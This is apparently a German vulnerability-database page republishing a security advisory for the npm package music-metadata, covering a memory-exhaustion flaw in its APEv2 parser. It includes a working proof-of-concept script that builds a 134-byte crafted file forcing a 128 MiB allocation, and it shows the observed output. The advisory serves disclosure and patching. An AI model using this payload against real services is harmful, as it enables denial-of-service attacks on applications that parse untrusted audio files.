Mittel

music-metadata: Uncontrolled memory allocation in APEv2 parser

  • Veröffentlicht: 08.10.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

  • lib/apev2/APEv2Token.ts
  • lib/apev2/APEv2Parser.ts

The untrusted size is read here:

ts
size: Token.UINT32_LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

ts
const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

bash
npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

js
import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket music-metadata < 11.16.0 11.16.0

Verweise

CVSS-Wert 6.2/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-789
Plattform
npm
Paket
music-metadata
Veröffentlicht
08.10.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-53v6-4h7p-p4gj - CC BY 4.0

Schwachstellenhistorie: music-metadata

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
6
Erste → letzte
03.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Mittel 5

Veröffentlichungen pro Jahr

  1. 2026: 6
  1. music-metadata: Uncontrolled memory allocation in APEv2 parser dieser Eintrag
    Mittel · 6.2 CVE-2026-107387 < 11.16.0 11.16.0
  2. Hoch · 7.5 CVE-2026-32256 < 11.12.3 11.12.3

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.